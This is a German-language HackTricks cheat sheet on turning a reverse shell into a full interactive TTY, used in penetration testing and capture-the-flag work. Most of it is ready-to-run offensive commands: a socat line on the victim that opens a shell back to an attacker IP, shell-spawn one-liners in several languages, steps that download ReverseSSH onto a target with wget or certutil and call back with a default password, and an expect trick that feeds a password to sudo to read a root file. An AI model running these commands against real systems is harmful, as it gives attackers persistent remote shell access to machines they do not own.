Full TTYs

Unterstützen Sie HackTricks

Full TTY

Beachten Sie, dass die Shell, die Sie in der SHELL-Variablen festlegen, in /etc/shells aufgelistet sein muss oder Der Wert für die SHELL-Variable wurde in der /etc/shells-Datei nicht gefunden. Dieser Vorfall wurde gemeldet. Beachten Sie auch, dass die nächsten Snippets nur in bash funktionieren. Wenn Sie sich in einer zsh befinden, wechseln Sie zu bash, bevor Sie die Shell erhalten, indem Sie bash ausführen.

Python

python3 -c 'import pty; pty.spawn("/bin/bash")'

(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

Sie können die Anzahl der Zeilen und Spalten mit stty -a abrufen.

script

script /dev/null -qc /bin/bash #/dev/null is to not store anything
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;

socat

#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444

#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

  • python -c 'import pty; pty.spawn("/bin/sh")'

  • echo os.system('/bin/bash')

  • /bin/sh -i

  • script -qc /bin/bash /dev/null

  • perl -e 'exec "/bin/sh";'

  • perl: exec "/bin/sh";

  • ruby: exec "/bin/sh"

  • lua: os.execute('/bin/sh')

  • IRB: exec "/bin/sh"

  • vi: :!bash

  • vi: :set shell=/bin/bash:shell

  • nmap: !sh

ReverseSSH

Eine bequeme Möglichkeit für interaktiven Shell-Zugriff, sowie Dateiübertragungen und Portweiterleitungen, ist das Ablegen des statisch verlinkten ssh-Servers ReverseSSH auf dem Ziel.

Unten ist ein Beispiel für x86 mit upx-komprimierten Binärdateien. Für andere Binärdateien, siehe die Release-Seite.

  1. Bereiten Sie sich lokal vor, um die ssh-Portweiterleitungsanfrage abzufangen:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -v -l -p 4444
  • (2a) Linux-Ziel:

# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh

/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe

reverse-ssh.exe -p 4444 kali@10.0.0.2
  • Wenn die ReverseSSH-Portweiterleitungsanfrage erfolgreich war, sollten Sie sich jetzt mit dem Standardpasswort letmeinbrudipls im Kontext des Benutzers, der reverse-ssh(.exe) ausführt, anmelden können:

# Interactive shell access
ssh -p 8888 127.0.0.1

# Bidirectional file transfer
sftp -P 8888 127.0.0.1

Penelope

Penelope (https://github.com/brightio/penelope) aktualisiert automatisch Linux-Reverse-Shells auf TTY, verwaltet die Terminalgröße, protokolliert alles und vieles mehr. Außerdem bietet es readline-Unterstützung für Windows-Shells.

Kein TTY

Wenn Sie aus irgendeinem Grund kein vollständiges TTY erhalten können, können Sie dennoch mit Programmen interagieren, die Benutzereingaben erwarten. Im folgenden Beispiel wird das Passwort an sudo übergeben, um eine Datei zu lesen:

expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
Unterstütze HackTricks

Last updated